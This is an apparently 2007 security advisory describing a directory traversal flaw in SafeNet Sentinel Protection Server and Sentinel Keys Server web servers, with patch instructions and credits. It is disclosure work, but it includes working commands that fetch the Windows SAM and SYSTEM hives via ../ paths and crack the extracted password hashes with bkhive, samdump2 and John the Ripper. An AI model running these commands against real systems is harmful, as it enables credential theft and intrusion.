SafeNet Inc.'s Sentinel Protection Server and Sentinel Keys Server products include web servers which are vulnerable to directory traversal attacks. A remote attacker could exploit these vulnerabilities to read arbitrary files with the permissions of the web server, typically SYSTEM.
A remote attacker could exploit this vulnerability to read sensitive files on the affected system. Attractive targets include the SAM registry hive which contains system password hashes.
Sentinel Protection Server and Sentinel Keys Server run web servers on ports 6002 and 7002, respectively, to allow remote monitoring of key use. The web server software does not santize request paths correctly before using them in system calls. As a result, an attacker can request files outside the web server's directory root by using the ../ notation to refer to the parent directory of the current directory.
Upgrade to Sentinel Protection Server 7.4.1 and Sentinel Keys Server 1.0.4.
First upgrade the Sentinel Driver software to 7.4.0 if you are using an earlier version.
Then install "Security Patch to Sentinel Protection Installer 7.4.0"
Most popular web browsers are not be able to display URLs exploiting this problem. I recommend using wget or lynx instead.
Substitute port 7002 to target Keys Server instead of Protection Server.
This example will retrieve the C:\boot.ini file.
This example will retrieve a copy of the target system's SAM registry hive from the Windows repair folder:
With the SAM and SYSTEM registry hives, it is possible to extract the system's local password hashes for offline cracking. For example, using the bkhive, samdump2, and John the Ripper tools:
$ wget -q http://XX.XX.XX.XX:6002/../../../../../../winnt/repair/sam $ wget -q http://XX.XX.XX.XX:6002/../../../../../../winnt/repair/system $ bkhive system keyfile $ samdump2 sam keyfile > hashes $ john --wordlist=all hashes
Thanks to SafeNet for patching this vulnerability and for working with me on this advisory.
According to Digital Defense, Inc.'s advisory, Corey Lebleu originally discovered this problem on October 10th, 2007. I discovered the same vulnerability independently on October 29th, 2007. I have no reason to doubt Digital Defense, Inc.'s claim, and do not claim to have discovered the problem first.
2007-11-26 original release
-- Elliot Kendall <firstname.lastname@example.org> Network Security Architect Brandeis University
Trouble replying? See http://people.brandeis.edu/~ekendall/sign/